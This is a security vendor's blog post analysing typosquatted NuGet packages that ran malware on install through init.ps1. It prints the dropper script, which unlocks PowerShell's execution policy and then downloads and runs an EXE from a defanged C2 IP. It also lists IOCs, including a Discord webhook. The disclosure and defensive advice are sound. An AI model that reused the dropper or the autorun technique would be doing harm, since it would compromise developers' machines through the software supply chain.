JFrog Ltd.

03/20/2023 | Press release | Distributed by Public on 03/20/2023 08:47

Attackers are starting to target .NET developers with malicious-code NuGet packages

Malicious packages are often spread by the open source NPM and PyPI package repositories, with few other repositories affected. Specifically - there was no public evidence of severe malicious activityin the NuGet repository other than spam packages used for spreading phishing links. As with other repositories, the JFrog Security Research team regularly monitors the NuGet repository for malicious packages, including manual analysis of suspicious code.

With this in mind, the security research team recently identified a sophisticated and highly-malicious attack targeting .NET developers via the NuGet repository, using sophisticated typosquatting techniques. The discovered packages - which were downloaded 150K times over the past month (before they were removed from the NuGet repository) - contained a "download & execute" type of payload. The packages contained a PowerShell script that would execute upon installationand trigger a download of a "2nd stage" payload, which could be remotely executed. The 2nd stage payload is a custom, more sophisticated executable which we will dive into in this blog post.

NuGet is still ripe for malicious package attacks

Despite the fact that the discovered malicious packages have since been removed by NuGet, .Net developers are still at high risk from malicious code, since NuGet packages still contain facilities to run code immediately upon package installation.

In old Visual Studio versions a developer could place a PowerShell scriptinside the tools directory of a NuGet package, and the script would automatically be run with no constraints on specific events - Package installation, uninstallation, on VS startup, etc.

Currently, it seems that Microsoft is pushing developers to leave this option behind, as the install.ps1 and uninstall.ps1 run-on-install scripts are ignored. In the current documentation, these scripts are not mentioned, except in some side notes.

However, although it is deprecated - the init.ps1 script is still honored by Visual Studio, and will run without any warning when installing a NuGet package (It is important to note the init script automatic execution won't occur while using the NuGet CLI). Additionally, the script will re-run each time the project's solution is opened with Package Manager Console window:

Creating a solution with tools/init.ps1 file inside

Inside the .ps1 file, an attacker can write arbitrary commands. For example:

& {[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); 
[System.Windows.Forms.MessageBox]::Show('Hello From init','WARNING')}

After installing the package (without executing anything explicitly) we can see that the "malicious" command ran immediately - meaning the PowerShell script successfully executed without confirmation or warning.

Moreover, even if the init.ps1 script is not referred to by the .nuspec metadata file, it will still be executed!

The .nuspec Metadata File (no mention of init.ps1)

These kinds of autorun mechanisms are a big reason why we can find thousands of malicious packages plaguing the NPM and PyPI ecosystems as compared to the Go package ecosystem, for example, in which the client will not cause code to automatically run when a module is installed. The attacker's code is much more likely to run if only package installation is needed to trigger it.

Which malicious packages were discovered?

We determined the following NuGet packages contained the same malicious payload -

Package Name Owner Download Count Publish Date Impersonated package
Coinbase.Core BinanceOfficial 121.9K 2023-02-22 Coinbase
Anarchy.Wrapper.Net OfficialDevelopmentTeam 30.4K 2023-02-21 Anarchy-Wrapper
DiscordRichPresence.API OfficialDevelopmentTeam 14.1K 2023-02-21 DiscordRichPresence
Avalon-Net-Core joeIverhagen 1.2k 2023-01-03 AvalonEdit
Manage.Carasel.Net OfficialDevelopmentTeam 559 2023-02-21 N/A
Asip.Net.Core BinanceOfficial 246 2023-02-22 Microsoft.AspNetCore
Sys.Forms.26 joeIverhagen 205 2023-01-03 System.Windows.Forms
Azetap.API DevNuget 153 2023-02-27 N/A
AvalonNetCore RahulMohammad 67 2023-01-04 AvalonEdit
Json.Manager.Core BestDeveIopers 46 2023-03-12 Generic .NET name
Managed.Windows.Core MahamadRohu 37 2023-01-05 Generic .NET name
Nexzor.Graphical.Designer.Core Impala 36 2023-03-12 N/A
Azeta.API Soubata 28 2023-02-24 N/A

The top three packages were downloaded an incredible amount of times - this could be an indicator that the attack was highly successful, infecting a large amount of machines. However, this is not a fully reliable indicatorof the attack's success since the attackers could have automatically inflated the download count (with bots) to make the packages seem more legitimate.

Indicators for malicious activity

The main malicious indicator in the above packages, is the init.ps1 script which will execute upon installation and immediately download an .EXE binary and execute it on the victim's workstation -

New-ItemProperty -Path 'HKCU:Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' -Name 'ExecutionPolicy' 
-Value "Unrestricted" -PropertyType String -Force Clear-Host $ProcName = "Impala.exe" 
$WebFile = "http://62[.]182[.]84[.]61/4563636/$ProcName"  
(New-Object System.Net.WebClient).DownloadFile($WebFile,"$env:APPDATA\$ProcName") 
Start-Process ("$env:APPDATA\$ProcName")

This behavior is extremely rare outside of malicious packages, especially taking into consideration the "Unrestricted" execution policy, which should immediately trigger a red flag.

In order to trick users to download the package the following methods were used:

    1. "typosquatting" - A method for assigning names to the packages that are extremely similar to legitimate packages. For example "Coinbase.Core" which tries to mimic the popular, legitimate package "Coinbase".

      Coinbase.Core's page (malicious package)


      Coinbase's page (legitimate package)
    2. The package owner names used terms which attempt to make the package appear more legitimate (BinanceOfficial, NuGetDev, OfficialDevelopmentTeam).
    3. As NuGet does not have a verification process for the "Author" attribute in the .nuspec metadata file, some packages had misleading metadata, such as "Microsoft" as the author, and a vague description.
      The "Author" field is indistinguishable when comparing to official packages


      Azetap.API package's author defined as Microsoft with a false description
    4. Some packages did not contain any direct malicious payload. Instead, they defined other malicious packages as dependencies, which then contained the malicious script.

      The DiscordRichPresence.API package uses a malicious dependency. The malicious .ps1 payload is inside the "Manage.Carasel.Net" package.
    5. Some of the packages were published by authors who looked legitimate at first glance, for example the author name "joelverhagen", which appears to bethe account name of one of Microsoft's software developers working on NuGet -

      However - under closer inspection it seems the attackers used the author name joeIverhagen (uppercase "i" instead of lowercase "l") to masquerade as the legitimate account joelverhagen.

The unusually sophisticated malicious payload

Dropper script

All of the observed malicious packages had the same payload script (either directly or as a dependency). First, the payload script would change PowerShell's running configuration so the current user would be allowed to execute PowerShell scripts with no restrictions, using the following command:

New-ItemProperty -Path 'HKCU:Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' -Name 'ExecutionPolicy' 
-Value "Unrestricted" -PropertyType String -Force

The script then proceeds to download a Windows executable file from a remote server, using .NET's WebClient class:

$ProcName = "Avalon.exe"
$wc = [System.Net.WebClient]::new()
$wc.DownloadFile("http://62[.]182[.]84[.]61/$ProcName", "$env:APPDATA\$ProcName")
$wc.Dispose()

Finally, the payload script executes the downloaded binary (which we will refer to as the "2nd stage payload"), after clearing the script's output from the screen:

Clear-Host
Start-Process ("$env:APPDATA\$ProcName")

It is also worth noting the download and execute payload used an HTTP (non-TLS) URL. This is especially dangerous since local network attackers who lack control of the original C2 domain, could potentially intercept the download request using a man-in-the-middle attack. Doing so would allow them to change the payload arbitrarily to fit their needs and gain full control of the machine that installed the malicious NuGet package.

2nd stage payload

The vast majority of malicious package payloads discovered by the JFrog Security Research team are based on open-source hacking tools, since attackers are typically seeking the greatest ROI in the least amount of time and not requiring sophisticated code. However - in this case we observed a completely custom executable payload, written in a low-level language, indicating a more dedicated attacker.

The information below is based on one of the 2nd stage payloads that we've observed, however - since the 2nd stage payload is downloaded dynamically from the C2 server, the attackers are able to switch the 2nd stage functionality at any time.

Due to a leftover program database string (PDB), we can see the internal name for this payload is Impala -

A partial analysis of the payload revealed it possesses the following capabilities:

  1. Crypto stealer - The payload references both the Exodus Lightning wallet app and has embedded Discord Webhooks, which may suggest the payload tries to exfiltrate crypto wallets via Discord webhooks.
  2. Electron Archive Extractor - The payload can extract and execute code from Electron archives, using an embedded compiled (Rustlang) copy of Rasar.
  3. Auto-updater - The payload drops a small updater executable to C:\Users\user\AppData\Local\Squirrel-2021\Updater.exe which checks the original C2 URL for an updated version of the malware.

We intend to publish a full analysis of this malicious payload in our next blog post, so stay tuned!

IOCs

https[:]//discord[.]com/api/webhooks/1076330498026115102/MLkgrUiivlgAoFWyvkSpLsBE3DMaDZd9cxPK3k9XQPyh6dw55jktV6qfDgxbs5AaY7Py

62[.]182[.]84[.]61

194[.]233[.]93[.]50

195[.]58[.]39[.]167

https[:]//paste[.]bingner[.]com/paste/xden6/raw

Squirrel-2021\Updater[.]exe

How to watch out for malicious NuGet packages

First and foremost, developers should pay attention to typos in imported and installed packages. As one can see, some of these packages try to mimic the names of legitimate well-known packages, hoping that a developer would accidentally install them in their project, or mention them as a dependency.

Another way to avoid installing malicious packages is to manually verify they don't contain any suspicious installation or initialization scripts. We recommend inspecting the packages before installing them via the NuGet Package Explorer, which is available on a package's page on the right pane menu.

You should check the contents of the init.ps1, install.ps1 or uninstall.ps1 scripts under the tools directory, as such:

Be on the lookout for scripts that download and execute resources from external sources. You can also perform this check by downloading the package and examining the files locally -

When downloading the package locally, make sure not to accidentally execute a script or binary file before thoroughly verifying it.

Moreover, there are some other useful indicators to a package's legitimacy, such as a high download count AND having many versions over a large timespan.

The Newtonsoft.Json package with over 3 billion downloads and many versions

A relatively new package with a low download count may indicate the package should be suspected, although it is important to note that these metrics can be spoofed by more sophisticated attackers.

Improved detection and remediation with JFrog Xray

As a response to this incident, we have added the malicious NuGet packages to JFrog Xray, which will allow customers to detect them more immediately. JFrog Xray's database of regularly curated packages currently contains more than 150K malicious packages across all relevant ecosystems, but all JFrog Security Research is used to continually evolve that database.

Conclusions

The results of this study prove that no open source software repository is safe forever. Even though no prior malicious-code attacks were observed in the NuGet repository, we were able to find evidence for at least one recent campaign using methods such as typosquatting to propagate malicious code. As with other repositories, safety measures should be taken at every step of the software development lifecycle to ensure the software supply chain remains secure.

Stay tuned to our next blog post that will provide a deeper analysis of the malicious payload found in this attack campaign!

Stay up-to-date with JFrog Security Research

In addition to exposing new security vulnerabilities and threats, JFrog provides developers and security teams easy access to the latest relevant information for their software with automated security scanning by JFrog Xray. Including enhanced CVE metadata and remediation advice.

Follow us for product updates including automated vulnerability and malicious code detection to defend against the latest emerging threats - in our research website, security research blog posts and on Twitter @JFrogSecurity.